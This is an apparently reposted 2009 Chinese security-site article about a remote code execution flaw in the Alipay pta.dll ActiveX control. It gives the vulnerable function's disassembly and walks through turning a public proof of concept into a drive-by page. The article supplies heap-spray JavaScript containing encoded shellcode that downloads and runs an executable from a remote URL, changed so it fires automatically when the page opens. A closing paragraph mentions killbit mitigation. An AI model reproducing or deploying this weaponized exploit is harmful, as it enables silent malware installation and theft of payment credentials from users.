为了顺应当前形势和更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

阿里巴巴支付宝控件漏洞利用研究

2009-2-4 10:11| 投稿: security

摘要: 关于阿里巴巴支付宝控件漏洞,网络上还存在争议。有的说漏洞存在,有的说不存在,搞得我也不知道该信谁了。不过没有调查就没有发言权,还是让我们自己去找问题的答案吧。   我们先来看看关于漏洞的说明:在支...
关于阿里巴巴支付宝控件漏洞,网络上还存在争议。有的说漏洞存在,有的说不存在,搞得我也不知道该信谁了。不过没有调查就没有发言权,还是让我们自己去找问题的答案吧。   我们先来看看关于漏洞的说明:在支付宝密码输入控件中存在一个远程代码执行漏洞,攻击者可利用此漏洞在被攻击者系统上执行任意代码,进而可安装木马以及间谍程序,窃取相关敏感信息,比如淘宝账号与密码,或者支付宝账号与密码。此漏洞存在于由ActiveX控件pta.dll导出的Remove()函数中,相关信息如下。   InprocServer32: pta.dll   ClassID : 66F50F46-70A0-4A05-BD5E-FBCC0F9641EC   [id(0x60030001), helpstring("method Remove")]   void Remove([in] int idx);   我们还是直接看Remove()函数的处理流程,代码如下。   .text:10003D4E ; Remove   .text:10003D4E   .text:10003D4E sub_10003D4E proc near   ; DATA XREF: .rdata:1000B3A4 o   .text:10003D4E ; .rdata:1000B41C o ...   .text:10003D4E   .text:10003D4E arg_0 = dword ptr 4   .text:10003D4E arg_4 = dword ptr 8   .text:10003D4E   .text:10003D4E mov eax, [esp+arg_4]   .text:10003D52 test eax, eax   .text:10003D54 jl short loc_10003D78   .text:10003D56 push esi   .text:10003D57 mov esi, [esp+4+arg_0] ; get idx   .text:10003D5B shl eax, 4 ; idx << 4   .text:10003D5E add eax, [esi+8] ; [esi+8]=0   .text:10003D61 push edi;   .text:10003D62 mov edi, eax ; idx << 4 ==>edi   .text:10003D64 mov eax, [edi+8] ; [(idx << 4)+8] ==>eax   .text:10003D67 push eax   .text:10003D68 mov ecx, [eax] ; [[(idx << 4)+8]]==>ecx   .text:10003D6A call dword ptr [ecx+8]   ; [[[(idx << 4)+8]]+8]==>jmp addr   .text:10003D6D push edi   .text:10003D6E lea ecx, [esi+4]   .text:10003D71 call sub_10003F35   .text:10003D76 pop edi   .text:10003D77 pop esi   .text:10003D78   .text:10003D78 loc_10003D78:   ; CODE XREF: sub_10003D4E+6j   .text:10003D78 xor eax, eax   .text:10003D7A retn 8   .text:10003D7A sub_10003D4E endp   其中的idx是我们可以控制的,可以完成有意思的攻击。比如我们设置idx为0x41414141,程序就会执行[[[14141410h+8]]+8]地址处的代码。存在漏洞的支付宝程序版本是1.0.0.7,安装相应版本的程序后,我找到了存在漏洞的pta.dll文件;同时也找到了网上流传的关于这个漏洞的测试代码,我已放在随文资料中,大家可自行下载研究,文件名为POC.html。它是一个包含JavaScript的网页文件,所实现的功能就是当按钮被按下时调用ClickForRunCalc函数。打开这个网页文件,按下按钮,在耗费了巨大内存后,IE崩溃了。但这只能说明这个控件有问题,真的像某些人所说的那样,这个漏洞可以执行恶意代码并对用户造成损失吗?有溢出基础的人一定知道,并不是所有的溢出漏洞都能成功执行ShellCode的。抱着研究学习的态度,我们修改一下这个代码,看看它能不能实现下载者的功能。   大家注意看POC代码中的payLoadCode变量,如图1所示。它就是关键所在,我们只需修改这个用于存放ShellCode的变量就能测试它是否可以实现下载者的功能。但自己写ShellCode对很多人来说都是很困难的,不过大家不必担心,我有更简单的办法。这里要用到ms07004的利用程序ms07-004.exe。我们先用这个程序生成一个网马,就是让它下载一个文件,如图2所示。然后用记事本打开这个ms07004网马,会发现里面有一个变量叫shellcode,这就是我们可以利用的现成的ShellCode了,其作用就是下载指定的那个文件。把它复制到payLoadCode那里就行了,溢出后就可以下载并执行这个文件了。此外,我们还需要改一个地方,用以实现打开这个网页时就调用ClickForRunCalc函数,而不是在按下按钮之后。我们只需删掉“<button onclick="javascript:ClickForRunCalc();">ClickForRunCalc</button>”这行代码,并在</script>前加上“ClickForRunCalc();”即可。修改后的部分代码如下,完整代码请见随文资料。 ……省略…… <SCRIPT language="javascript"> function ClickForRunCalc() { var heapSprayToAddress = 0x0d0d0d0d; var payLoadCode = unescape("%u9090"+"%u9090"+ "%u6460%u30a1%u0000%u8b00%u0c40%u708b%uad1c %u708b" + "%u8108%u00ec%u0004%u8b00%u56ec%u8e68%u0e4e %ue8ec" + "%u00ff%u0000%u4589%u5604%u9868%u8afe%ue80e %u00f1" + "%u0000%u4589%u5608%u2568%uffb0%ue8c2%u00e3 %u0000" + "%u4589%u560c%uef68%ue0ce%ue860%u00d5%u0000 %u4589" + "%u5610%uc168%ue579%ue8b8%u00c7%u0000%u4589 %u4014" + "%u3880%u75c3%u89fa%u1845%u08e9%u0001%u5e00 %u7589" + "%u8b24%u0445%u016a%u8b59%u1855%ue856%u008c %u0000" + "%u6850%u1a36%u702f%u98e8%u0000%u8900%u1c45 %uc58b" + "%uc083%u8950%u2045%uff68%u0000%u5000%u458b %u6a14" + "%u5902%u558b%ue818%u0062%u0000%u4503%uc720 %u5c00" + "%u2e7e%uc765%u0440%u6578%u0000%u75ff%u8b20 %u0c45" + "%u016a%u8b59%u1855%u41e8%u0000%u6a00%u5807 %u4503" + "%u3324%u53db%uff53%u2075%u5350%u458b%u6a1c %u5905" + "%u558b%ue818%u0024%u0000%u006a%u75ff%u8b20 %u0845" + "%u026a%u8b59%u1855%u11e8%u0000%u8100%u00c4 %u0004" + "%u6100%uc481%u04dc%u0000%uc25d%u0024%u5b41 %u0352" + "%u03e1%u03e1%u03e1%u83e1%u04ec%u535a%uda8b %uf7e2" + "%uff52%u55e0%uec8b%u7d8b%u8b08%u0c5d%u8b56 %u3c73" + "%u748b%u781e%uf303%u8b56%u2076%uf303%uc933 %u4149" + "%u03ad%u56c3%uf633%ube0f%u3a10%u74f2%uc108 %u0dce" + "%uf203%ueb40%u3bf1%u5efe%ue575%u8b5a%u8beb %u245a" + "%udd03%u8b66%u4b0c%u5a8b%u031c%u8bdd%u8b04 %uc503" + "%u5d5e%u08c2%ue800%ufef3%uffff%u5255%u4d4c %u4e4f" + "%u6800%u7474%u3a70%u2f2f%u6e63%u7466%u2e70 %u6a62" + "%u7475%u652e%u7564%u632e%u2f6e%u7570%u2f62 %u6170" + "%u6374%u6568%u2f73%u736d%u5052%u2f43%u6946 %u5778" + "%u6c65%u6863%u652e%u6578%u0000"); var heapBlockSize = 0x400000; var payLoadSize = payLoadCode.length * 2; ……省略…… ClickForRunCalc(); </script> ……省略……   如此修改之后,我们就可以实际测试一下看看是否有问题存在了。结果如图3所示,在IE耗费大量内存之后,下载者的功能实现了,IE处于没有响应的状态。由此我们可以得出结论,支付宝1.0.0.7的控件的确存在可以被用来下马的溢出漏洞。不过可喜的是,支付宝的后续版本已经修复了这个问题。对于还在使用1.0.0.7版本的用户来说,最好通过注册表将相应的CLSID设置为Killbit,如不使用支付宝可到“%system%\aliedit\”目录下删除pta.dll。最后,祝阿里巴巴的产品越来越安全,毕竟中国网络安全的进步是我们每个人的愿望。

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部